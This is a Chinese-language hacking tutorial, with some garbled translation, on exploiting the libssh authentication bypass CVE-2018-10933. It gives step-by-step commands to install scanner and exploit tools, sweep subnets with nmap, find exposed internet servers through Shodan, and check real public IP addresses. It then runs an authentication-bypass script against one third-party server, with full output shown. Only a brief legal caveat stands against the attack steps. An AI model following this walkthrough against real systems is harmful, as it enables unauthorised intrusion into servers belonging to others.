步驟1:安裝工具和依賴項
我們將用于掃描易受攻擊的設備的第一個程序稱為Nmap,可以輕松安裝。在Kali上,默認情況下應該可以使用它,但是如果不是,則可以使用以下命令快速下載它。
apt install nmap
為了檢測我們發現的設備是否容易受到攻擊,我們將使用Python程序libssh-scanner。它是用Python 2.7編寫的,因此,如果您僅安裝了Python 3,則必須確保也安裝Python 2.7。
要安裝libssh-scanner,您需要克隆libssh-scanner存儲庫 5 通過在終端窗口中鍵入以下內容。
git clone https://github.com/leapsecurity/libssh-scanner.git
然后,在目錄內導航并列出其內容之后,您必須通過運行 以下所示的pip命令來安裝所需的庫 。
cd libssh-scanner
ls
pip install -r requirements.txt
接下來,還必須安裝該程序以執行攻擊。這次,您正在克隆“ libSSH-Authentication-Bypass”存儲庫 11 并使用以下命令安裝任何依賴項。
git clone https:
cd libSSH-Authentication-Bypass
pip install -r requirements.txt
步驟2:使用NMAP掃描漏洞
修復或利用易受攻擊的設備的第一步是找到它,并且在本地網絡上查找可能需要引起注意的設備相對容易。為此,我們將使用一個名為Nmap的程序來定位運行SSH服務器的設備,并確定libssh是否正在其上運行。Nmap是任何黑客工具包中必不可少的工具,它使一個人可以快速掃描并發現給定網絡或IP范圍內的所有主機和服務。
在這種情況下,我們將掃描本地連接到我們網絡的設備,Nmap會告訴我們網絡上的每個設備是否正在使用易受攻擊的libssh版本。要遵循本指南,您將需要安裝Nmap,但是如果您使用Kali Linux,則可能已經安裝了Nmap。
要使用libssh掃描并發現本地網絡上的所有設備,請打開一個終端窗口并輸入以下 nmap 命令。
nmap -sV -p22 192.168.0.0/24
分解命令, nmap 告訴計算機我們實際上要開始使用Nmap,而 -sV 告訴Nmap我們要執行服務掃描,該掃描將捕獲開放端口上使用的任何服務的標志。標志 -p22 告訴Nmap僅掃描端口22(這是SSH通信的標準端口)上的設備。雖然這可能找不到在其他端口上使用SSH的設備,但是它將大大減少搜索時間。
最后,目標表示為子網范圍;前三個字節對于您的搜索將是唯一的。當掃描一臺計算機而不是一臺計算機時,最后的0/24對于搜索整個子網至關重要。如果需要查找子網范圍,可以使用“ ipcalc ”之類的工具 1個”,它將為您計算出來。為此,請通過鍵入ifconfig查找您的IP地址 ,然后鍵入 ipcalc yourIP (將“ yourIP”替換為您的IP地址)。
w1456
該命令將返回連接到該子網的設備的列表,以及從掃描端口收集的一些信息。在這種情況下,我們正在尋找使用早于0.7.6版本的libssh的任何目標。您可以期望看到如下所示的輸出。
Nmap scan report for 172.16.42.1
Host is up (0.0098s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
Nmap scan report for 172.16.42.32
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh libssh 0.7.2 (protocol 2.0)
Nmap scan report for 172.16.42.53
Host is up (0.079s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
Nmap scan report for 172.16.42.67
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
步驟3:發現LIBSSH漏洞服務器
絕大多數易受攻擊的服務器將可以通過遠程網絡進行訪問,因此我們將需要以不同的方式進行搜索,以查找未直接連接到局域網的設備。
要找到遠程目標,您將需要利用稱為Shodan的服務 5,這是一個搜索引擎,可以找到連接到網絡的任何設備-與Google不同,Google僅從端口80上的網絡服務器返回結果。例如,Shodan可以將您定向到功能正常的IP攝像機的登錄頁面,如果默認密碼未更改,則可能授予您訪問攝像機的權限。
Shodan將為許多易受攻擊的SSH服務器建立索引,我們可以通過端口號和其他關鍵字搜索來查找這些服務器,這些服務器顯示運行0.7.6之前版本的libssh的主機,我們知道該主機已受到此漏洞的影響。
首先,注冊一個免費帳戶,您可以使用該帳戶查看任何搜索查詢的前兩頁或大約20個唯一設備。然后,要查找易受libssh攻擊的服務器,您將在搜索中需要三個術語:
port:22,這是SSH協議的默認端口。即使可以將SSH移至任何未使用的端口,這也不是很常見,因為它的真正作用是通過簡單掃描端口22來防止找到服務器。
LibSSH,它返回使用libssh庫發布的所有服務器,表明它們可能被利用。
0.7。*,將搜索結果限制為使用以“ 0.7”開頭的libssh版本的設備。并從結果中排除更多最新版本。雖然您可能仍會得到一些修補的結果,但是您將使用此過濾器消除大多數更新的設備。
上面的搜索將返回可能容易受到此攻擊的IP地址的列表,以及Shodan能夠檢索到的更多信息。Shodan的信息可以包括橫幅標語,設備的位置,最新活動以及對服務器進行控制的組織。
w1456%20(1)
步驟4:在服務器上測試LIBSSH漏洞
由于您已收集了容易受到該漏洞利用的目標列表(本地或遠程),因此可以使用“ libssh-scanner”掃描目標IP地址,并確定它們是否仍然很容易受到攻擊。其他工具甚至可以進一步嘗試建立外殼,但是請務必注意,未經許可使用SSH訪問另一臺設備可能會違反《計算機欺詐和濫用法》。取決于誰擁有您要訪問的設備,這可能使您陷入嚴重的法律麻煩。
除了法律上的考慮外,您還應該警惕從您的真實IP地址連接到可能有意受到此漏洞利用的設備。蜜罐通常以這種方式設置,以吸引業余黑客,并且您可能會發現自己身處配置為陷阱的設備中。
現在,使用libssh-scanner檢查步驟2和3中收集的目標是否實際上容易受到該漏洞利用。為此,請創建一個TXT文件,其中包含在步驟2和3中找到的所有IP地址,每個IP地址都用新行分隔。將此文本文件命名為“ ips.txt”,并將其放置在與步驟1中先前下載的libssh-scanner相同的文件夾中。
進入目錄后,在終端窗口中輸入以下命令。
python libsshscan.py --port 22 --aggressive ips.txt
該命令將運行Python 2.7,掃描文本文件中的每個IP地址,并確定目標是否實際上容易受到CVE-2018-10933安全漏洞的攻擊。正如您在下面看到的那樣,執行掃描將Shodan的潛在目標列表縮小到一個,即159.180.132.163。
python libsshscan.py --aggressive --port 22 ips.txt
libssh scanner 1.0.4
Searching for Vulnerable Hosts...
* 52.151.63.100:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.2')
* 13.57.20.28:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 132.206.51.74:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 18.221.40.109:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 52.1.165.128:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 54.86.221.162:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 52.173.202.21:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 54.193.60.245:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
! 159.180.132.163:22 is likely VULNERABLE to authentication bypass (b'SSH-2.0-libssh-0.7.2')
* 34.194.133.107:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
Scanner Completed Successfully
要檢查一個結果,請使用libSSH-Authentication-Bypass測試攻擊。將目錄切換到您在步驟1中先前下載的libSSH-Authentication-Bypass文件夾中,然后輸入以下命令,用您要掃描的IP地址替換“ 159.180.132.163”。
python3 libsshauthbypass.py --host 159.180.132.163
該命令在已部分打補丁但仍然容易受到身份驗證繞過的服務器上返回以下輸出。
python3 bypasswithfakekey.py --host 159.180.132.163
DEBUG:paramiko.transport:starting thread (client mode): 0x74a0d30
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.8
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-libssh-0.7.2
INFO:paramiko.transport:Connected (version 2.0, client libssh-0.7.2)
DEBUG:paramiko.transport:kex algos:['diffie-hellman-group14-sha1', 'diffie-hellman-group1-sha1'] server key:['ssh-rsa'] client encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] server encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] client mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none', 'zlib', 'zlib@openssh.com'] server compress:['none', 'zlib', 'zlib@openssh.com'] client lang:[''] server lang:[''] kex follows?False
DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256
DEBUG:paramiko.transport:Compression agreed: none
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/rsakey.py:130: CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead.
algorithm=hashes.SHA1(),
DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo <built-in function openssl_sha1>
DEBUG:paramiko.transport:Switch to new keys ...
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py:689: UserWarning: Unknown ssh-rsa host key for 159.180.132.163: b'7a7f8ca5b97cdd9356114ac650cc1353'
key.get_fingerprint())))
DEBUG:paramiko.transport:userauth is OK
INFO:paramiko.transport:Authentication (password) failed.
Auth Bypassed of the server you trying to bypass but can't spawn the shell it's patched, truncated or using wrong vulnerable libSSH version. -blacknbunny